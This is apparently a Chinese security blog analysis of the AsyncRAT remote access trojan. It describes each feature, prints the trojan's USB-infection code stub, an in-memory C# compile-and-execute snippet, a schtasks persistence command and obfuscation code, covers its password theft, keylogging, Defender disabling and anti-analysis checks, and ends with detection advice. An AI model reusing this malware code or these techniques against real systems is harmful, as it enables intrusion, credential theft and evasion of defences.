AsyncRAT 利用分析

发布于 2024-10-29 14:10:00 字数 10460 浏览 3 评论 0

0x00 前言

AsyncRAT 是一款使用 C Sharp 开发的 C2 工具,本文仅在技术研究的角度分析 AsyncRAT 的技术细节,介绍检测方法。

注:

本文选择的 AsyncRAT 更新日期为 2020 年 5 月 9 日

0x01 简介

  • AsyncRAT 的优点
  • AsyncRAT 的技术细节
  • 检测方法

0x02 AsyncRAT 的优点

AsyncRAT 使用 C Sharp 开发,应用于 Windows 系统,具有以下优点:

  1. 支持从 Pastebin.com 读取 C2 服务器的配置信息
  2. 支持内存加载 PE 文件
  3. 支持动态编译并执行 C#或者 VB 代码
  4. 支持 U 盘感染,能够感染 U 盘中所有使用.NET 开发的 exe 文件
  5. 支持自动读取 Firefox 和 Chrome 浏览器中保存的密码
  6. 通过欺骗用户点击的方式绕过 UAC 进行提权
  7. 通过 C#接口技术,提高程序的扩展性,在程序实现上将每一个功能对应一个类,编译成 dll 文件,在需要加载的时候,由 Server 发送至 Client,Client 通过 Activator.CreateInstance 将类实例化,进而调用类的方法。

0x03 AsyncRAT 的技术细节

本节按照 AsyncRAT 控制面板上的功能逐个进行分析,如下图

Alt text

1.SendFile

(1)ToMemory

内存加载 exe 文件,支持以下两种类型:

  1. Reflection

使用 Assembly.Load 加载 C#程序

更多细节可参考之前的文章 《从内存加载.NET 程序集(Assembly.Load) 的利用分析》

  1. RunPE

通过替换进程内存的方式加载 exe 文件

可选择以下程序作为被注入的程序:

  • aspnet_compiler.exe
  • RegAsm.exe
  • MSBuild.exe
  • RegSvcs.exe
  • vbc.exe

注:

以上 5 个 exe 文件位于 Microsoft.NET Framework 的安装目录,同 AsyncClient.exe 的位数保持一致

使用 32 位的 AsyncClient.exe 反弹回的 Session,默认会寻找 32 位 Microsoft.NET Framework 的安装目录,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

使用 64 位的 AsyncClient.exe 反弹回的 Session,默认会寻找 64 位 Microsoft.NET Framework 的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

RunPE 操作将启动以上 5 个 exe 文件中的一个,通过 ReadProcessMemory、VirtualAllocEx、WriteProcessMemory 和 ResumeThread 实现对进程内存的修改,替换成要加载的 exe 文件

这里需要注意要加载的 exe 文件需要同 AsyncClient.exe 的位数保持一致

使用 32 位的 AsyncClient.exe 反弹回的 Session,使用 RunPE 操作只能加载 32 位的 exe 文件

使用 64 位的 AsyncClient.exe 反弹回的 Session,使用 RunPE 操作只能加载 64 位的 exe 文件

更多细节可参考之前的文章 《傀儡进程的实现与检测》

(2)ToDisk

将 exe 文件上传到目标主机的 %Temp% 目录,重命名为随机字符串,再使用 Powershell 启动 exe 文件,执行后不会删除 %Temp% 目录下的 exe 文件

2. Monitoring

(1)Remote Desktop

监控屏幕,实时获得目标桌面的内容(只能监控,无法操作)

调用 Graphics 类的 CopyFromScreen 实现屏幕截图

通过 Python 实现监控屏幕的细节可参考之前的文章 《Pupy 利用分析——Windows 平台下的屏幕控制》

(2)Keylogger

实时获得目标主机键盘输入的消息和进程名称

通过 hook 的方式实现键盘记录

(3)Password Recovery

获得 Firefox 和 Chrome 浏览器中保存的密码

技术细节可参考之前的文章 《渗透技巧——导出 Firefox 浏览器中保存的密码》 和 《渗透技巧——导出 Chrome 浏览器中保存的密码》

(4)File Manager

文件管理,还支持隐蔽安装 7zip 和对文件的压缩及解压缩

隐蔽安装 7zip 的方式:

%Temp% 目录新建文件夹 7-Zip,释放文件 7z.exe 和 7z.dll

(5)Process Manager

进程管理,支持查看进程和关闭进程

(6)Report Window

监控重要进程,当目标主机上运行指定进程时,控制端弹出提示消息

(7)Webcam

开启摄像头

3.Miscellaneous

(1)Bots Killer

清除自身进程在注册表 HKLM 和 HKCU 下 \Software\Microsoft\Windows\CurrentVersion\RunSoftware\Microsoft\Windows\CurrentVersion\RunOnce 保存的项

(2)USB Spread

当目标主机连接 U 盘时,感染 U 盘中的文件

将木马客户端复制到 U 盘中并隐藏,默认保存的名称为 LimeUSB.exe

修改 U 盘中所有使用.NET 开发的 exe 文件,通过 CSharpCodeProvider 改变程序运行流程,添加以下代码:

using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;

[assembly: AssemblyTrademark("%Lime%")]
[assembly: Guid("%Guid%")]

static class %LimeUSBModule%
{
    public static void Main()
    {
        try
        {
            System.Diagnostics.Process.Start(@"%File%");
        }
        catch { }
        try
        {
            System.Diagnostics.Process.Start(@"%Payload%");
        }
        catch { }
    }
}

用户在启动正常文件的同时会隐蔽执行 U 盘中的木马客户端

(3)Seed Torrent

向目标主机发送种子文件并下载

目标主机需要安装 uTorrent 或者 BitTorrent

(4)Remote Shell

弹出一个交互式的 cmd 窗口

(5)DOS Attack

向指定域名持续发送 HTTP 数据包

(6)Execute .NET Code

在目标主机上动态编译 C#或者 VB 代码并执行

模板文件包含弹框和下载执行的功能

我提取出了其中编译 C#代码并执行的功能,代码示例如下:

using System;
using System.CodeDom;
using System.CodeDom.Compiler;
using System.Reflection;
namespace CodeDomProviderTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string source = @"
using System;
using System.Windows.Forms;
namespace AsyncRAT
{
    public class Program
    {
        public static void Main(string[] args)
        {
            try
            {
                MessageBox.Show(""Hello World"");
            }
            catch { }
        }
}
}";
            CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");  
            try
            {              
                var compilerOptions = "/target:winexe /platform:anycpu /optimize-";

                var compilerParameters = new CompilerParameters();
                compilerParameters.ReferencedAssemblies.Add("system.dll");
                compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
                compilerParameters.GenerateExecutable = true;
                compilerParameters.GenerateInMemory = true;
                compilerParameters.CompilerOptions = compilerOptions;
                compilerParameters.TreatWarningsAsErrors = false;
                compilerParameters.IncludeDebugInformation = false;

                var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
                if (compilerResults.Errors.Count > 0)
                {
                    foreach (CompilerError compilerError in compilerResults.Errors)
                    {
                        Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                            compilerError.Line, compilerError.Column, compilerError.FileName));
                        break;
                    }
                }
                else
                {
                    Assembly assembly = compilerResults.CompiledAssembly;
                    MethodInfo methodInfo = assembly.EntryPoint;
                    object injObj = assembly.CreateInstance(methodInfo.Name);
                    object[] parameters = new object[1];
                    if (methodInfo.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    methodInfo.Invoke(injObj, parameters);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

(7)Files Searcher

搜索指定后缀名的文件并打包成 zip 文件

4.Extra

(1)Visit Website

启动默认浏览器并访问指定 URL,界面不隐藏

(2)Send MessageBox

在目标主机上弹出对话框

(3)Chat

在目标主机上弹出对话框,实时显示输入的内容

(4)Get Admin Privileges

使用 cmd.exe 以 Admin 权限重新启动木马客户端,这个操作会在用户桌面弹出 UAC 框,需要用户选择允许后才能运行

如果用户未选择允许,会一直弹出 UAC 对话框

UAC 对话框的程序位置会暴露木马客户端的路径

如果想要伪造一个更加可信的 UAC 对话框(不暴露程序位置) 可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路

(5)Blank Screen

  • Run 功能:通过 WinAPI CreateDesktop() 创建一个随机名称的虚拟桌面,内容为空,当切换到这个空的虚拟桌面时,用户无法对桌面进行操作
  • Stop 功能:通过 WinAPI SwitchDesktop() 切换到原来的桌面

(6)Disable Windows Defender

通过修改注册表的方式关闭 Windows Defender,通常在 Win10 系统上使用

(7)Set Wallpaper

设置用户的桌面

5.Server

Block Clients

拒绝指定 IP 回连的木马客户端

6.Builder

(1)Connection

  • DNS:指定 C2 Server 的 IP,可以设置多个
  • Port:指定 C2 Server 的端口,可以设置多个
  • Pastebin:从 Pastebin.com 读取 C2 Server 的信息,包括 DNS 和 Port

内容示例:

127.0.0.1:6606:7707:8808

(2)Install

用作配置木马客户端自启动的功能

开启这个功能后会将木马客户端复制到指定位置

文件名称可以重新命名

文件路径可选择 %AppData%%Temp% 目录

当木马客户端以普通用户权限执行时,会在注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 添加项,以新的木马客户端名称作为注册表项的名称,以新的木马客户端路径作为注册表项的数据

当木马客户端以管理员权限执行时,会使用 schtasks 命令创建计划任务,命令示例:

schtasks /create /f /sc onlogon /rl highest /tn <name> /tr <path>

计划任务的名称为新的木马客户端名称,会在用户登录时执行计划任务

(3)Misc

Group:对木马客户端进行分类

Mutex:设置互斥量,避免木马客户端的重复启动

Anti Analysis:

包括以下功能:

  • DetectManufacturer,通过 WMI 获得系统信息( Select * from Win32_ComputerSystem ),查看 Manufacturer 是否包含字符 VIRTUAL、vmware 或 VirtualBox
  • DetectDebugger,使用 WinApi CheckRemoteDebuggerPresent() 检查是否为调试器
  • DetectSandboxie,使用 WinApi GetModuleHandle() 检查 SbieDll.dll 是否存在
  • IsSmallDisk,检查硬盘大小是否小于 60Gb
  • IsXP,检查系统名称是否包含字符 xp

Process Critica:

将进程设置为保护进程,如果意外关闭了保护进程,那么将导致 BSOD

更多细节可参考之前的文章 《结束进程导致 BSOD 的利用分析》

Delay:延迟执行的时间

(4)Assembly

可以手动设置文件属性,也可以复制指定文件的文件属性

(5)Icon

设置文件图标

(6)Build

Simple Obfuscator:通过重命名的方式实现简单的混淆

关键代码:

       private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
        {
            ModuleDefMD module = inModule;
            IRenaming rnm = new NamespacesRenaming();
            module = rnm.Rename(module);
            rnm = new ClassesRenaming();
            module = rnm.Rename(module);
            rnm = new MethodsRenaming();
            module = rnm.Rename(module);
            rnm = new PropertiesRenaming();
            module = rnm.Rename(module);
            rnm = new FieldsRenaming();
            module = rnm.Rename(module);
            return module;
        }
    }

0x04 检测方法

1.查找可疑文件

路径: %AppData%%Temp% 目录

2.使用 Autoruns 检查可疑的启动项

(1) 注册表位置

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2) 计划任务列表

3.后台可疑进程

AsyncRAT 的木马客户端只有 exe 文件一种形式,在运行时会产生可疑的进程

4.通信流量

查看可疑进程对外通信流量

5.使用杀毒软件

目前杀毒软件均会对 AsyncRAT 进行拦截

0x05 小结

本文在技术研究的角度分析 AsyncRAT 的技术细节,介绍检测方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
23 人气
更多

推荐作者

linfzu01

文章 0 评论 0

可遇━不可求

文章 0 评论 0

枕梦

文章 0 评论 0

qq_3LFa8Q

文章 0 评论 0

JP

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文